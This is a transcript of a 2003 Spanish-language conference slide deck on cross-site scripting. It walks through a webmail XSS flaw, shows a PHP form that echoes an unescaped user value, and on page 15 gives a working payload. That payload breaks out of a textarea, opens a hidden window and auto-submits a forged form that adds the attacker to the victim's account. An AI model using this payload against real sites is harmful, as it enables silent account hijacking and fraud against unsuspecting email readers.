+ All Categories
Home > Technology > Exploiting Web Applications XSS

Exploiting Web Applications XSS

Date post: 13-Jul-2015
Category:
Upload: conferencias-fist
View: 186 times
Download: 3 times
Share this document with a friend
17
© Rafael San Miguel Carrasco Cross-site scripting FIST Conference October 2003 @
Transcript
Page 1: Exploiting Web Applications XSS

© Rafael San Miguel Carrasco

Cross-site scripting

FIST Conference October 2003 @

Page 2: Exploiting Web Applications XSS

2© Rafael San Miguel Carrasco, [email protected]

XSS

Portal exclusivo para clientes de SMC:

webmail

grupos de usuarios (1 cuenta, múltiples usuarios)

compra de entradas, discos, libros, videojuegos, etc.

Page 3: Exploiting Web Applications XSS

3© Rafael San Miguel Carrasco, [email protected]

XSS

Autenticación:

Basada en login/password, al inicio de cada sesión. En adelante, una cookie que se utiliza como credencial para todos los recursos del portal.

Page 4: Exploiting Web Applications XSS

4© Rafael San Miguel Carrasco, [email protected]

XSS

2 vulnerabilidades:

el webmail es vulnerable a XSS (al leer un mensaje con contenido malicioso)

es posible automatizar el proceso de inclusión de un nuevo usuario a nuestra cuenta

Page 5: Exploiting Web Applications XSS

5© Rafael San Miguel Carrasco, [email protected]

XSS

Añadir a un usuario a mi lista:

Page 6: Exploiting Web Applications XSS

6© Rafael San Miguel Carrasco, [email protected]

XSS

Page 7: Exploiting Web Applications XSS

7© Rafael San Miguel Carrasco, [email protected]

XSS

Page 8: Exploiting Web Applications XSS

8© Rafael San Miguel Carrasco, [email protected]

XSS

HTML form en datosusuario.php:(qué se envía a confirma.php)

echo "<form action=confirma.php method=post>";echo "<p>Su nombre: <b>Rafael San Miguel Carrasco</b><br>"; echo "<input type=hidden name=nombre value=Rafael San Miguel>";echo "Usuario que desea añadir: <b>$duser</b><br>"; echo "<input type=hidden name=nuevo value='$duser'>";echo "Cuenta asociada a la línea: <b>91 466 56 89</b></p>";echo "<input type=hidden name=linea value=91 466 56 89>"; <p>Limite de consumo:<select name="limite"><option value="">Seleccione una cantidad<option value="100">100 euros<option value="200">200 euros<option value="500">500 euros<option value="0">Sin límite</select><p>

Page 9: Exploiting Web Applications XSS

9© Rafael San Miguel Carrasco, [email protected]

XSS

Utilizando form reloading:

<form action=http://127.0.0.1/confirma.php method=post><input type=hidden name=nombre value=Rafael San Miguel Carrasco><input type=hidden name=nuevo value='Julia Villanueva'><input type=hidden name=linea value=91 466 56 89><input type=hidden name=limite value=0><input type=submit value=enviar></form>

Luego es posible reducir los tres pasos de procedimiento original a un solo paso.

Page 10: Exploiting Web Applications XSS

10© Rafael San Miguel Carrasco, [email protected]

XSS

Comprobamos que es vulnerable a XSS:

Page 11: Exploiting Web Applications XSS

11© Rafael San Miguel Carrasco, [email protected]

XSS

Inicialmente, parece que no:

Page 12: Exploiting Web Applications XSS

12© Rafael San Miguel Carrasco, [email protected]

XSS

Cerramos </textarea>, ahora sí:

Page 13: Exploiting Web Applications XSS

13© Rafael San Miguel Carrasco, [email protected]

XSS

Insertamos el form anterior, con algunos cambios:

el código se carga en otra ventana

el envío del formulario es automático

se intenta ocultar la ventana (dimensión mínima, localización más alla de los límites de la pantalla

Page 14: Exploiting Web Applications XSS

14© Rafael San Miguel Carrasco, [email protected]

XSS

Por lo tanto:

1. El usuario víctima recibe el e-mail2. Al abrirlo, se ejecuta el código del formulario en otra

ventana, sin que éste lo advierta3. El envío del formulario supone mi inclusión en la lista de

usuarios de la víctima

Page 15: Exploiting Web Applications XSS

15© Rafael San Miguel Carrasco, [email protected]

Éste es el formulario modificado: </textarea><script>v = window.open (<parametros de localizacion y tamaño>);v.document.write ('<body><form name=f action=http://127.0.0.1/confirma.php method=post>');v.document.write ('<input type=hidden name=nombre value=víctima>');v.document.write ('<input type=hidden name=nuevo value=nuestro nombre>');v.document.write ('<input type=hidden name=linea value=teléfono de la víctima>');v.document.write ('<input type=hidden name=limite value=0>');v.document.write ('<img src=bla.jpg onError=document.f.submit ()></form></body>');v.close ();</script>

XSS

Page 16: Exploiting Web Applications XSS

16© Rafael San Miguel Carrasco, [email protected]

Herramientas de detecciónde vulnerabilidades

<script> function openBrWindow(theURL,winName,features) { window.open(theURL,winName,features); } </script>

<a href="#" onClick="openBrWindow('bla.html','','');"> <img src="bla.jpg"></a>

Page 17: Exploiting Web Applications XSS

© Rafael San Miguel Carrasco

Madrid, 25 October 2003

FIST Conference October 2003Cross-site scripting


Recommended